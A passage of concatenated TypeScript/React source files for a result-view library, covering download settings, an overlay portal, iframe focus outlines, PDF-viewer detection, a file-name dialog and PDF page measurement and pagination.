{\n failed: handed.map((file) => ({ file, reason: 'The save function reported no result' })),\n };\n } catch (error) {\n const reason = error instanceof Error ? error.message : String(error);\n return { failed: handed.map((file) => ({ file, reason })) };\n }\n}\n\n/** Whether the whole-result download control is drawn. */\nexport function useResultDownloadShown(): boolean {\n return use(ResultEnvContext).downloads?.result ?? true;\n}\n\n/** Whether a file of this kind carries its own download button. */\nexport function useFileDownloadShown(kind: StuffFileKind): boolean {\n const files = use(ResultEnvContext).downloads?.files ?? true;\n return typeof files === 'boolean' ? files : files.includes(kind);\n}\n\n/** Whether an HTML page carries its \"Download PDF\" control. */\nexport function usePdfSaveShown(): boolean {\n return use(ResultEnvContext).downloads?.pdf ?? true;\n}\n\n/** The host's own PDF maker, when it supplies one. */\nexport function useRenderPdf(): RenderPdf | undefined {\n return use(ResultEnvContext).renderPdf;\n}\n\n/** Whether a download asks the reader for the file's name first. */\nexport function useAskFileName(): boolean {\n return use(ResultEnvContext).downloads?.askFileName ?? false;\n}\n\n/** The prose-image policy, defaulted to the safe answer for a host that stated none. */\nexport function useProseImages(): ProseImages {\n return use(ResultEnvContext).proseImages ?? 'link';\n}\n\n/**\n * The column budget a table of records starts from when the host states none.\n *\n * Five columns of short values fit a method app's result panel once the name\n * has its floor: the name, and four values a reader compares down a column. See\n * `docs/result-view.md` for how the columns are chosen.\n */\nconst DEFAULT_TABLE_COLUMNS = 5;\n\n/**\n * The column budget, normalised: the default when the host stated none (or a\n * `NaN`), a whole number otherwise, and never below one. `Infinity` passes\n * through, and is how a host shows every column.\n */\nexport function useTableColumns(): number {\n const budget = use(ResultEnvContext).tableColumns;\n if (budget === undefined || Number.isNaN(budget)) return DEFAULT_TABLE_COLUMNS;\n return Math.max(1, Math.floor(budget));\n}\n\n/** The table layout, defaulted to the scroller every host had before it was a choice. */\nexport function useTableLayout(): TableLayout {\n return use(ResultEnvContext).tableLayout ?? 'scroll';\n}\n\n/** Whether a host's panel frames the result, so its tables draw no box of their own. */\nexport function useResultFramed(): boolean {\n return use(ResultEnvContext).framed ?? false;\n}\n","'use client';\n\nimport {\n createContext,\n use,\n useCallback,\n useEffect,\n useMemo,\n useState,\n type ReactNode,\n} from 'react';\nimport { createPortal } from 'react-dom';\n\n/**\n * Where a result view draws a modal surface opened from deep inside it: at the\n * root of the result, rather than beside the control that opened it. Internal.\n *\n * ## Why not in place\n *\n * The vendored dialogs are drawn in place rather than through a portal to the\n * page's body, so the theme class and a brand's scoped tokens on the host's\n * own element still reach them, and they cover the viewport as `fixed`\n * boxes. A `fixed` box is placed against the viewport only while no ancestor\n * is a containing block for it, and the result view makes one of its own: a\n * table that stacks its rows (`tableLayout=\"stack\"`) is a size container,\n * which CSS gives layout containment, so a picture's viewer opened from a\n * thumbnail in such a table, or from the record of a row opened there, would\n * have been drawn inside the table's box and clipped by it.\n *\n * So the root of a result (the panel, or the outermost `ResultField`, or a\n * generative layout's result hatch: whoever starts its `ResultRoot`) holds an\n * empty element while a surface needs it, and the surface is portalled into\n * that element. It is still inside the host's element, so the tokens reach it,\n * and it is outside every box the result view draws. React's context follows\n * a portal, so a control inside the surface still reads where in the result\n * it sits.\n *\n * The element exists only while a surface is open, and is absolutely\n * positioned and of no size, so it moves nothing in the host's layout and a\n * result with nothing open renders exactly the markup it always did.\n */\n\ninterface OverlayLayerValue {\n /** The element surfaces are drawn into, once it is mounted. */\n target: HTMLElement | null;\n /** Ask for the element; the function returned gives it back. */\n acquire: () => () => void;\n}\n\nconst OverlayLayerContext = createContext<OverlayLayerValue | null>(null);\n\n/**\n * The layer for everything beneath it, unless a layer above already serves\n * it: the outermost root of a result holds the one element.\n */\nexport function OverlayLayer({ children }: { children: ReactNode }) {\n const outer = use(OverlayLayerContext);\n const [holders, setHolders] = useState(0);\n const [target, setTarget] = useState<HTMLElement | null>(null);\n const acquire = useCallback(() => {\n setHolders((count) => count + 1);\n let released = false;\n return () => {\n if (released) return;\n released = true;\n setHolders((count) => count - 1);\n };\n }, []);\n const layer = useMemo(() => ({ target, acquire }), [target, acquire]);\n if (outer) return children;\n return (\n <OverlayLayerContext value={layer}>\n {/* First rather than last, so the host's `:last-child` rules (a stack's\n spacing among them) still land on the last thing it laid out. */}\n {holders > 0 && <span ref={setTarget} data-overlay-layer className=\"absolute size-0\" />}\n {children}\n </OverlayLayerContext>\n );\n}\n\n/**\n * Draws its children in the result's overlay layer while it is mounted, or in\n * place where no layer serves it. Renders nothing for the moment between\n * asking for the layer and the layer's element mounting.\n */\nexport function InOverlayLayer({ children }: { children: ReactNode }) {\n const layer = use(OverlayLayerContext);\n const acquire = layer?.acquire;\n useEffect(() => acquire?.(), [acquire]);\n if (!layer) return children;\n return layer.target ? createPortal(children, layer.target) : null;\n}\n","'use client';\n\nimport { createContext, use, useMemo, type ReactNode } from 'react';\nimport { OverlayLayer } from './overlay-layer';\n\n/**\n * Where in a result the node being rendered sits, and what its saved files are\n * named after. Internal to the result view.\n *\n * ## Why a file's button needs to know\n *\n * A file with no name of its own is saved under the base name and its place\n * below the result's root (`report-figures-0-image.png`), because two unnamed\n * images from one result must not both land as `image.png`. The whole-result download\n * reads that place off the descriptor walk in core. A file's own button is drawn\n * by the arm that paints the file, deep in the tree, and holds only the file's\n * value — so without this, the same file would be saved under two different\n * names depending on which control the reader used.\n *\n * The path is built the way `collectStuffFiles` builds it: the root node's\n * name, then a field's name for each record entered, then an entry's index for\n * each list entered. Each branch of `ResultField` that renders a child wraps it\n * in {@link ResultAt}, and every branch that does not can hold no file.\n *\n * The first segment must be the root node's name, because the saved name\n * leaves it out: the base name already stands for the root, so a result that\n * is one image saves as `output.png` rather than `output-output.png`.\n */\nexport interface ResultLocation {\n /** Names the saved files: the panel's download base name, or the root node's name. */\n baseName: string;\n /**\n * The node's place, one segment per record field or list index, from the\n * root node's name. The saved name drops that first segment, so it must be\n * the root's name and nothing else.\n */\n path: readonly string[];\n}\n\nconst ResultLocationContext = createContext<ResultLocation | undefined>(undefined);\n\n/** Where the node being rendered sits, or `undefined` above the root of a result. */\nexport function useResultLocation(): ResultLocation | undefined {\n return use(ResultLocationContext);\n}\n\n/**\n * Establishes where a rendered tree sits in its result: the panel does, at the\n * root, and so does the outermost `ResultField` when nothing above it did.\n *\n * `path` is usually the root node's name alone. A view that renders one\n * subtree of a result on its own, as a generative layout's result hatch does,\n * passes the subtree's whole place instead, root name first, so its files are\n * named as the whole-result download names them. The root name comes first in\n * either case because a saved name drops the first segment as the one the base\n * name already stands for.\n */\nexport function ResultRoot({\n baseName,\n path,\n children,\n}: {\n baseName: string;\n /** The rendered node's place, one segment per record field or list index, from the root node's name. */\n path: readonly string[];\n children: ReactNode;\n}) {\n // Keyed on the segments rather than the array, which a caller builds anew\n // each render, so the tree beneath is not handed a new location every time.\n // No segment holds a NUL: each is a field's name or an index.\n const key = path.join('\\u0000');\n const location = useMemo(() => ({ baseName, path: key.split('\\u0000') }), [baseName, key]);\n // The root of a result is also where a surface opened deep inside it (a\n // picture's viewer) is drawn, outside every box the result draws: see\n // `./overlay-layer`.\n return (\n <ResultLocationContext value={location}>\n <OverlayLayer>{children}</OverlayLayer>\n </ResultLocationContext>\n );\n}\n\n/** One step down: into a record's field (its name) or a list's entry (its index). */\nexport function ResultAt({ segment, children }: { segment: string; children: ReactNode }) {\n const parent = use(ResultLocationContext);\n const location = useMemo(\n () => (parent ? { baseName: parent.baseName, path: [...parent.path, segment] } : undefined),\n [parent, segment],\n );\n return <ResultLocationContext value={location}>{children}</ResultLocationContext>;\n}\n","'use client';\n\nimport { useCallback, useEffect, useState, type ComponentProps } from 'react';\nimport { frameFocusOutlineClass } from './role-tokens';\nimport { cn } from './utils';\n\n/**\n * An `<iframe>` that draws its focus in `--ring`, as everything else the kernel\n * puts in the tab order does.\n *\n * **No selector can draw it.** In Chromium an `<iframe>` whose document holds\n * focus matches neither `:focus` nor `:focus-visible`, no ancestor matches\n * `:focus-within`, and the browser draws no ring of its own, so a frame reached\n * with Tab is a stop that nothing marks - a `focus-visible:` outline on it is\n * a class that never applies. So the frame is marked by script instead: while\n * its document holds focus and the page's window has focus, it carries\n * `data-focus-visible`, and `frameFocusOutlineClass` draws the outline on that\n * attribute.\n *\n * **A key or a pointer, alike.** A frame takes keyboard input - it scrolls, and\n * its document may hold fields - so it is marked as a browser marks a text\n * field, which matches `:focus-visible` however focus arrived.\n *\n * **What a script can hear.** When focus enters a frame from the page, the\n * page's window blurs with the frame as its active element, and when focus\n * comes back the window focuses again. Focus passing from one frame straight to\n * another is heard only by the two frames' own windows, which a page may listen\n * to only on a frame of its own origin. So every one of those events re-reads\n * `document.activeElement` for every frame on the page, and a move between two\n * frames of other origins is the one move nothing hears. A window can blur\n * before focus has settled on its new element, so a blur is read again once it\n * has: the frame being left clears and the one entered is marked.\n */\nexport function FocusFrame({ ref, className, ...props }: ComponentProps<'iframe'>) {\n const [frame, setFrame] = useState<HTMLIFrameElement | null>(null);\n const focused = useFrameFocus(frame);\n const attach = useCallback(\n (node: HTMLIFrameElement | null) => {\n setFrame(node);\n if (typeof ref === 'function') ref(node);\n else if (ref) ref.current = node;\n },\n [ref],\n );\n return (\n <iframe\n {...props}\n ref={attach}\n {...(focused ? { 'data-focus-visible': '' } : {})}\n className={cn(className, frameFocusOutlineClass)}\n />\n );\n}\n\n/** Each mounted frame's re-read of where focus is. */\nconst frames = new Set<() => void>();\n/**\n * The re-read after a blur, once focus has settled on its new element. The last\n * frame's unmount cancels it; a frame unmounted before has left `frames`, so it\n * never reaches that one.\n */\nlet settling: ReturnType<typeof setTimeout> | undefined;\n\nconst refresh = () => {\n for (const check of frames) check();\n};\nconst onBlur = () => {\n refresh();\n clearTimeout(settling);\n settling = setTimeout(refresh, 0);\n};\n\n/** The listeners on a window, the page's or a frame's. */\nfunction listen(win: Window) {\n win.addEventListener('blur', onBlur);\n win.addEventListener('focus', refresh);\n}\n\nfunction unlisten(win: Window) {\n win.removeEventListener('blur', onBlur);\n win.removeEventListener('focus', refresh);\n}\n\nfunction useFrameFocus(frame: HTMLIFrameElement | null): boolean {\n const [focused, setFocused] = useState(false);\n useEffect(() => {\n if (!frame) return;\n // `hasFocus` is false once the person has gone to another window, where no\n // focus is drawn; it stays true while focus is inside one of the page's frames.\n const check = () => setFocused(document.hasFocus() && document.activeElement === frame);\n if (frames.size === 0) {\n listen(window);\n // Focus coming back to an element of the page, from a frame or not.\n document.addEventListener('focusin', refresh);\n }\n frames.add(check);\n // A frame's window is new on every load, so its listeners are attached\n // again on each; a frame of another origin refuses them.\n let own: Window | null = null;\n const attachOwn = () => {\n try {\n own = frame.contentWindow;\n if (own) listen(own);\n } catch {\n own = null;\n }\n };\n attachOwn();\n frame.addEventListener('load', attachOwn);\n return () => {\n frame.removeEventListener('load', attachOwn);\n try {\n if (own) unlisten(own);\n } catch {\n // Gone with its document.\n }\n frames.delete(check);\n if (frames.size === 0) {\n unlisten(window);\n document.removeEventListener('focusin', refresh);\n clearTimeout(settling);\n settling = undefined;\n }\n };\n }, [frame]);\n return focused;\n}\n","'use client';\n\nimport { useSyncExternalStore } from 'react';\n\n/**\n * Whether this browser draws a PDF inside a frame: `'yes'`, `'no'`, or\n * `'unknown'` where nothing can be asked yet.\n *\n * **A frame onto a PDF is blank where there is no viewer.** Android's browsers\n * and headless browsers draw no PDF in a page, and say so through\n * `navigator.pdfViewerEnabled`, which is `false` there. A frame pointed at a PDF\n * in such a browser is an empty box, or a download nobody asked for, so the\n * result view shows a card in its place: the file's name, a sentence saying it\n * cannot be shown here, and ways to open it in a tab and to save it.\n *\n * **`undefined` reads as a viewer.** A browser too old to have the property\n * drew PDFs in frames on every desktop, which is where it is still met, and\n * reading its silence as \"no\" would take the preview from those readers to\n * spare a case the property was added to answer.\n *\n * **Never read during a server render.** `navigator` is not the reader's on a\n * server (Node has its own, with no such property), so the server snapshot is\n * `'unknown'` and the store is read only in the browser. During hydration React\n * renders with the server snapshot first and renders again with the browser's\n * answer straight after, so a page rendered on a server shows neither a frame\n * nor the card until the browser has been asked: a PDF on Android never flashes\n * as a blank frame. A tree rendered in the browser alone reads the answer on its\n * first render.\n *\n * The answer does not change while a page is open, so nothing is subscribed to.\n */\nexport type PdfViewer = 'yes' | 'no' | 'unknown';\n\nconst subscribe = () => () => {};\n\n/** The browser's answer. `pdfViewerEnabled` is missing on older browsers. */\nfunction browserViewer(): PdfViewer {\n return (navigator as { pdfViewerEnabled?: boolean }).pdfViewerEnabled === false ? 'no' : 'yes';\n}\n\nfunction serverViewer(): PdfViewer {\n return 'unknown';\n}\n\nexport function usePdfViewer(): PdfViewer {\n return useSyncExternalStore(subscribe, browserViewer, serverViewer);\n}\n","'use client';\n\nimport * as React from 'react';\nimport * as TooltipPrimitive from '@radix-ui/react-tooltip';\n\nimport { cn } from '../utils';\n\n/**\n * The shadcn/ui tooltip, vendored like the other primitives here.\n *\n * It replaces the browser's native `title`, which is not a design decision so\n * much as the absence of one: the native bubble takes about a second to appear,\n * cannot be styled, ignores the host's theme, is unreadable at small sizes on\n * some platforms, and never appears at all on touch. It is the right tool for a\n * hint nobody needs and the wrong one for a field's description.\n *\n * Radix underneath, which is the accessibility rather than the look: it wires\n * `aria-describedby` to the trigger, shows on focus as well as hover, dismisses\n * on Escape, and keeps the content hoverable — the three requirements of WCAG\n * 1.4.13, none of which a `title` meets and none of which is worth\n * reimplementing.\n */\n\nconst TooltipProvider = TooltipPrimitive.Provider;\nconst TooltipRoot = TooltipPrimitive.Root;\nconst TooltipTrigger = TooltipPrimitive.Trigger;\n\nconst TooltipContent = React.forwardRef<\n React.ElementRef<typeof TooltipPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof TooltipPrimitive.Content>\n>(({ className, sideOffset = 6, ...props }, ref) => (\n <TooltipPrimitive.Portal>\n <TooltipPrimitive.Content\n ref={ref}\n sideOffset={sideOffset}\n className={cn(\n 'z-50 max-w-xs rounded-md border border-border bg-popover px-2.5 py-1.5 text-[12px] leading-relaxed text-popover-foreground shadow-md',\n 'animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95',\n 'data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2',\n className,\n )}\n {...props}\n />\n </TooltipPrimitive.Portal>\n));\nTooltipContent.displayName = TooltipPrimitive.Content.displayName;\n\nexport { TooltipProvider, TooltipRoot, TooltipTrigger, TooltipContent };\n","'use client';\n\nimport {\n useCallback,\n useEffect,\n useId,\n useRef,\n useState,\n type KeyboardEvent,\n type ReactNode,\n} from 'react';\nimport { typedFileStem } from '../core/save-plan';\nimport { useFieldStrings } from './field-strings';\nimport { useAskFileName } from './result-env';\nimport { focusOutlineClass } from './role-tokens';\nimport { headingClass } from './style-tokens';\nimport { cn } from './utils';\n\n/**\n * The name a download should be saved under: the planned one when the host has\n * not turned `downloads.askFileName` on, otherwise whatever the reader confirms\n * in the dialog.\n *\n * `ask(stem, extension)` resolves to the whole name, the stem the reader kept\n * or typed (made safe by `typedFileStem`, and the planned stem when they\n * emptied the field) followed by the extension unchanged, or to `null` when\n * they cancelled. A control renders `dialog` beside itself, where it is `null`\n * until it asks.\n */\nexport function useFileNamePrompt(): {\n ask: (stem: string, extension: string) => Promise<string | null>;\n dialog: ReactNode;\n} {\n const asking = useAskFileName();\n const [pending, setPending] = useState<{\n stem: string;\n extension: string;\n settle: (name: string | null) => void;\n } | null>(null);\n\n const ask = useCallback(\n (stem: string, extension: string): Promise<string | null> => {\n if (!asking) return Promise.resolve(`${stem}${extension}`);\n return new Promise((resolve) => {\n setPending({\n stem,\n extension,\n settle: (name) => {\n setPending(null);\n resolve(name);\n },\n });\n });\n },\n [asking],\n );\n\n const dialog = pending ? (\n <FileNameDialog\n stem={pending.stem}\n extension={pending.extension}\n onConfirm={(typed) =>\n pending.settle(\n `${typedFileStem(typed, pending.extension) || pending.stem}${pending.extension}`,\n )\n }\n onCancel={() => pending.settle(null)}\n />\n ) : null;\n\n return { ask, dialog };\n}\n\nexport interface FileNameDialogProps {\n /** The planned name without its extension, which the field opens on. */\n stem: string;\n /** The extension, dot included, shown after the field and never edited. Empty for none. */\n extension: string;\n /** The text in the field, as typed: the caller makes it safe. */\n onConfirm: (typed: string) => void;\n onCancel: () => void;\n}\n\n/**\n * The dialog that asks for a download's name: a field holding the planned name\n * without its extension, focused with its text selected so typing replaces it,\n * the extension as a fixed suffix after it, and Cancel and Download.\n *\n * Enter downloads, Escape cancels, and so does a click on the backdrop. Focus\n * stays inside while it is open (Tab and Shift+Tab cycle its three controls)\n * and goes back to the control that opened it when it closes.\n *\n * It is drawn in place rather than in a portal, so it reads the theme and brand\n * tokens of the scope the control sits in, and it is a `fixed` overlay over the\n * viewport. It holds no `<form>`, because a result view may sit inside a host's\n * form and a nested form is invalid; Enter is read off the field instead. Its\n * events stop at the overlay, so a click in the dialog never reaches a row or a\n * card the control sits in.\n */\nexport function FileNameDialog({ stem, extension, onConfirm, onCancel }: FileNameDialogProps) {\n const s = useFieldStrings();\n const titleId = useId();\n const extensionId = useId();\n const [value, setValue] = useState(stem);\n const panel = useRef<HTMLDivElement>(null);\n const field = useRef<HTMLInputElement>(null);\n // Where a press on the backdrop began: a drag that selects the field's text\n // and is released over the backdrop is not a click on it.\n const pressedBackdrop = useRef(false);\n\n useEffect(() => {\n const opener = document.activeElement instanceof HTMLElement ? document.activeElement : null;\n field.current?.focus();\n field.current?.select();\n return () => {\n if (opener?.isConnected) opener.focus();\n };\n }, []);\n\n const onKeyDown = (event: KeyboardEvent<HTMLDivElement>) => {\n event.stopPropagation();\n if (event.key === 'Escape') {\n event.preventDefault();\n onCancel();\n return;\n }\n if (event.key !== 'Tab') return;\n const controls = Array.from(\n panel.current?.querySelectorAll<HTMLElement>('input, button') ?? [],\n );\n const first = controls[0];\n const last = controls[controls.length - 1];\n if (!first || !last) return;\n if (event.shiftKey && document.activeElement === first) {\n event.preventDefault();\n last.focus();\n } else if (!event.shiftKey && document.activeElement === last) {\n event.preventDefault();\n first.focus();\n }\n };\n\n return (\n <div\n data-file-name-backdrop\n className=\"fixed inset-0 z-50 flex items-center justify-center bg-black/50 p-4\"\n onMouseDown={(event) => {\n event.stopPropagation();\n pressedBackdrop.current = event.target === event.currentTarget;\n }}\n onClick={(event) => {\n event.stopPropagation();\n if (pressedBackdrop.current && event.target === event.currentTarget) onCancel();\n pressedBackdrop.current = false;\n }}\n >\n <div\n ref={panel}\n role=\"dialog\"\n aria-modal=\"true\"\n aria-labelledby={titleId}\n onKeyDown={onKeyDown}\n className=\"w-full max-w-sm space-y-3 rounded-lg border border-border bg-popover p-4 text-popover-foreground shadow-lg\"\n >\n <h2 id={titleId} className={cn('text-[14px]', headingClass(500))}>\n {s.fileNameTitle}\n </h2>\n <div className=\"flex items-center rounded-md border border-border bg-input focus-within:outline-solid focus-within:outline-2 focus-within:outline-offset-1 focus-within:outline-ring\">\n <input\n ref={field}\n type=\"text\"\n value={value}\n onChange={(event) => setValue(event.target.value)}\n onKeyDown={(event) => {\n if (event.key !== 'Enter') return;\n event.preventDefault();\n onConfirm(value);\n }}\n aria-labelledby={titleId}\n {...(extension ? { 'aria-describedby': extensionId } : {})}\n autoComplete=\"off\"\n spellCheck={false}\n className=\"min-w-0 flex-1 bg-transparent px-2 py-1.5 text-[13px] text-foreground outline-none\"\n />\n {extension ? (\n <span id={extensionId} className=\"shrink-0 pr-2 text-[13px] text-muted-foreground\">\n {extension}\n </span>\n ) : null}\n </div>\n <div className=\"flex justify-end gap-2\">\n <button\n type=\"button\"\n onClick={onCancel}\n className={cn(\n 'rounded-md border border-border px-3 py-1 text-[12px] text-muted-foreground hover:text-foreground',\n focusOutlineClass,\n )}\n >\n {s.fileNameCancel}\n </button>\n <button\n type=\"button\"\n onClick={() => onConfirm(value)}\n className={cn(\n 'rounded-md bg-primary px-3 py-1 text-[12px] font-medium text-primary-foreground hover:bg-primary/90',\n focusOutlineClass,\n )}\n >\n {s.fileNameConfirm}\n </button>\n </div>\n </div>\n </div>\n );\n}\n","import type { FlowLayout, Span, TableBox } from './paginate';\n\n/**\n * Measure the PDF copy's laid-out flow for `paginate`: where its lines, atomic\n * boxes, rows and tables sit, and what its break properties say. Everything is\n * read off the copy's own layout (`getBoundingClientRect`, a `Range` over each\n * text node for its line boxes) and its computed style, after the print rules\n * were promoted, so a `break-*` written only for print counts.\n *\n * Elements laid out `position: fixed` are not part of the flow: a print engine\n * repeats them on every page, and so does the PDF, from a separate raster.\n * They are marked with `FIXED_ATTRIBUTE` for the rasteriser to tell apart.\n */\n\n/** Set on each element laid out `position: fixed` in the copy, outermost only. */\nexport const FIXED_ATTRIBUTE = 'data-mthds-pdf-fixed';\n\n/** Elements whose content is one picture: never cut, never walked into. */\nconst ATOMIC_TAGS = new Set([\n 'IMG',\n 'SVG',\n 'CANVAS',\n 'VIDEO',\n 'IFRAME',\n 'OBJECT',\n 'EMBED',\n 'INPUT',\n 'TEXTAREA',\n 'SELECT',\n 'BUTTON',\n 'HR',\n 'PICTURE',\n 'svg',\n]);\n\nconst HEADING_TAGS = new Set(['H1', 'H2', 'H3', 'H4', 'H5', 'H6']);\n\n/** Break values that start a new page. */\nconst FORCED = new Set(['page', 'always', 'left', 'right', 'recto', 'verso']);\n/** Break values that keep the two sides of a boundary together. */\nconst AVOIDED = new Set(['avoid', 'avoid-page']);\n\nexport interface MeasuredFlow {\n layout: FlowLayout;\n /** The elements laid out `position: fixed`, which every page repeats. */\n fixed: HTMLElement[];\n}\n\nexport function measureFlow(doc: Document): MeasuredFlow {\n const win = doc.defaultView!;\n const root = doc.documentElement;\n const offset = root.getBoundingClientRect().top;\n const y = (value: number) => value - offset;\n const spanOf = (el: Element): Span => {\n const rect = el.getBoundingClientRect();\n return { top: y(rect.top), bottom: y(rect.bottom) };\n };\n\n const hard: Span[] = [];\n const avoid: Span[] = [];\n const forced: number[] = [];\n const tables: TableBox[] = [];\n const fixed: HTMLElement[] = [];\n // Boundaries to keep together, resolved once every line is known.\n const keepAfter: Span[] = [];\n const keepBefore: Span[] = [];\n\n const walk = (el: Element) => {\n const style = win.getComputedStyle(el);\n if (style.display === 'none') return;\n if (style.position === 'fixed') {\n fixed.push(el as HTMLElement);\n return;\n }\n const span = spanOf(el);\n const display = style.display;\n\n if (FORCED.has(style.breakBefore) || FORCED.has(style.getPropertyValue('page-break-before'))) {\n forced.push(span.top);\n }\n if (FORCED.has(style.breakAfter) || FORCED.has(style.getPropertyValue('page-break-after'))) {\n forced.push(span.bottom);\n }\n if (AVOIDED.has(style.breakAfter) || HEADING_TAGS.has(el.tagName)) keepAfter.push(span);\n if (AVOIDED.has(style.breakBefore)) keepBefore.push(span);\n\n // An inline-level box (`inline-block`, `inline-flex`, `inline-table`…) sits\n // on a line, so it is cut no more than the line is.\n const atomic = ATOMIC_TAGS.has(el.tagName) || display.startsWith('inline-');\n if (atomic) {\n if (span.bottom > span.top) hard.push(span);\n return;\n }\n if (\n AVOIDED.has(style.breakInside) ||\n AVOIDED.has(style.getPropertyValue('page-break-inside')) ||\n display === 'table-row'\n ) {\n avoid.push(span);\n }\n if (display === 'table' || display === 'inline-table') {\n tables.push(tableBox(el, span));\n }\n\n for (const child of Array.from(el.childNodes)) {\n if (child.nodeType === 1) walk(child as Element);\n else if (child.nodeType === 3 && /\\S/.test(child.textContent ?? '')) {\n hard.push(...lineSpans(doc, child, y));\n }\n }\n };\n\n const tableBox = (table: Element, span: Span): TableBox => {\n const box: TableBox = { ...span };\n for (const part of Array.from(table.children)) {\n const display = win.getComputedStyle(part).display;\n if (display === 'table-header-group' && !box.head) box.head = spanOf(part);\n if (display === 'table-footer-group' && !box.foot) box.foot = spanOf(part);\n }\n return box;\n };\n\n walk(doc.body ?? root);\n fixed.forEach((el) => el.setAttribute(FIXED_ATTRIBUTE, ''));\n\n const lines = [...hard].sort((a, b) => a.top - b.top);\n const firstLineFrom = (at: number) => lines.find((line) => line.top >= at - 0.5);\n const lastLineBefore = (at: number) =>\n [...lines].reverse().find((line) => line.bottom <= at + 0.5);\n\n // A heading, or a box saying `break-after: avoid`, stays with the line after it.\n for (const span of keepAfter) {\n const next = firstLineFrom(span.bottom);\n if (next) avoid.push({ top: span.top, bottom: next.bottom });\n }\n // A box saying `break-before: avoid` stays with the line before it.\n for (const span of keepBefore) {\n const previous = lastLineBefore(span.top);\n const first = firstLineFrom(span.top);\n if (previous && first) avoid.push({ top: previous.top, bottom: first.bottom });\n }\n // A table's header is never left alone at the foot of a page: it stays with\n // the first line below it.\n for (const table of tables) {\n if (!table.head) continue;\n const next = firstLineFrom(table.head.bottom);\n if (next && next.bottom <= (table.foot?.top ?? table.bottom) + 0.5) {\n avoid.push({ top: table.top, bottom: next.bottom });\n }\n }\n\n return {\n layout: { height: root.scrollHeight, hard, avoid, forced, tables },\n fixed,\n };\n}\n\n/**\n * The line boxes a text node was laid out in: one rectangle per line fragment,\n * read from a `Range`, merged where fragments share a line.\n */\nfunction lineSpans(doc: Document, text: Node, y: (value: number) => number): Span[] {\n const range = doc.createRange();\n range.selectNodeContents(text);\n const spans: Span[] = [];\n for (const rect of Array.from(range.getClientRects())) {\n if (rect.height === 0) continue;\n const span = { top: y(rect.top), bottom: y(rect.bottom) };\n const same = spans.find((line) => span.top < line.bottom && span.bottom > line.top);\n if (same) {\n same.top = Math.min(same.top, span.top);\n same.bottom = Math.max(same.bottom, span.bottom);\n } else spans.push(span);\n }\n return spans;\n}\n","/**\n * Where a page laid out as one long flow is cut into printed pages. Pure: it\n * reads a measured layout (`page-layout.ts` measures one in the PDF copy) and\n * returns, for each page, the stretches of the flow to draw on it, so the rules\n * can be tested without a browser.\n *\n * A browser's print engine fragments a page as it lays it out; a raster has\n * already been laid out, so the cuts are chosen after the fact, at block\n * boundaries, from what the layout says must stay whole:\n *\n * - **A line of text, an image or any atomic box is never cut** (a `hard`\n * span), unless one is taller than a page, which cannot be helped.\n * - **A table row, a box marked `break-inside: avoid`, a heading with the line\n * after it, and a table's header with its first row stay together** (an\n * `avoid` span) when they fit on a page. One that does not fit is dropped as\n * a constraint, which is what a print engine does with it too.\n * - **A forced break** (`break-before: page`, `break-after: page` and their\n * `page-break-*` aliases) starts a new page.\n * - **A table cut across pages repeats its header** at the top of the next\n * page and **its footer** at the bottom of the page it was cut on, as a\n * print engine repeats `thead` and `tfoot`.\n */\n\n/** A stretch of the flow, in CSS pixels from the top of the document. */\nexport interface Span {\n top: number;\n bottom: number;\n}\n\n/** A table, for its repeated header and footer. */\nexport interface TableBox extends Span {\n /** Its `thead` (a `table-header-group`), when it has one. */\n head?: Span;\n /** Its `tfoot` (a `table-footer-group`), when it has one. */\n foot?: Span;\n}\n\nexport interface FlowLayout {\n /** The height of the whole flow: where the last page ends. */\n height: number;\n /** Lines of text and atomic boxes: never cut, unless taller than a page. */\n hard: Span[];\n /** What should stay together on one page when it fits. */\n avoid: Span[];\n /** Positions a new page must start at. */\n forced: number[];\n tables: TableBox[];\n}\n\n/** What one page draws, top to bottom, each stretch in flow coordinates. */\nexport interface PageSlice {\n /** The repeated headers of the tables this page continues, outermost first. */\n heads: Span[];\n /** The page's own stretch of the flow. */\n body: Span;\n /** The repeated footers of the tables cut at the page's end, innermost first. */\n feet: Span[];\n}\n\n/** Below this, two positions are the same position: layout is fractional. */\nconst EPSILON = 0.5;\n\n/**\n * Cut `layout` into pages whose drawable area is `pageHeight` CSS pixels tall.\n */\nexport function paginate(layout: FlowLayout, pageHeight: number): PageSlice[] {\n const pages: PageSlice[] = [];\n const end = layout.height;\n // What carries ink, so a trailing stretch of blank flow (a bottom margin, a\n // min-height) does not become a page of its own.\n const inkBottom = Math.max(0, ...layout.hard.map((span) => span.bottom));\n const forced = [...layout.forced].sort((a, b) => a - b);\n let start = 0;\n\n // A page always moves the cut forward, so the loop ends; the bound is a\n // backstop against a layout that reports nonsense.\n for (let guard = 0; start < end - EPSILON && guard < 10_000; guard++) {\n const heads = openAt(layout.tables, start)\n .filter((table) => table.head && start >= table.head.bottom - EPSILON)\n .map((table) => table.head!);\n const room = pageHeight - total(heads);\n const nextForced = forced.find((at) => at > start + EPSILON && at < end - EPSILON);\n\n if (end - start <= room + EPSILON && nextForced === undefined) {\n pages.push({ heads, body: { top: start, bottom: end }, feet: [] });\n break;\n }\n\n // The tables cut at the page's end lend it their footers, which take room\n // from the page, which can move the cut: settle it in a few passes.\n let feet: Span[] = [];\n let cut = start;\n for (let pass = 0; pass < 4; pass++) {\n const limit = start + room - total(feet);\n cut =\n nextForced !== undefined && nextForced <= limit + EPSILON\n ? nextForced\n : bestCut(layout, start, limit);\n const needed = openAt(layout.tables, cut)\n .filter((table) => table.foot)\n .map((table) => table.foot!)\n .reverse();\n if (total(needed) <= total(feet) + EPSILON) {\n feet = needed;\n break;\n }\n feet = needed;\n }\n pages.push({ heads, body: { top: start, bottom: cut }, feet });\n start = cut;\n if (inkBottom <= cut + EPSILON) break;\n }\n return pages;\n}\n\n/**\n * The lowest position in `(start, limit]` that cuts nothing that must stay\n * whole: first honouring every span, then lines and atomic boxes alone, then\n * the limit itself when even one line is taller than a page.\n */\nfunction bestCut(layout: FlowLayout, start: number, limit: number): number {\n const room = limit - start;\n const hard = layout.hard.filter((span) => span.bottom - span.top <= room);\n const avoid = layout.avoid.filter((span) => span.bottom - span.top <= room);\n const candidates = new Set<number>([limit]);\n for (const span of [...hard, ...avoid]) {\n candidates.add(span.top);\n candidates.add(span.bottom);\n }\n for (const table of layout.tables) {\n candidates.add(table.top);\n candidates.add(table.bottom);\n }\n const sorted = [...candidates]\n 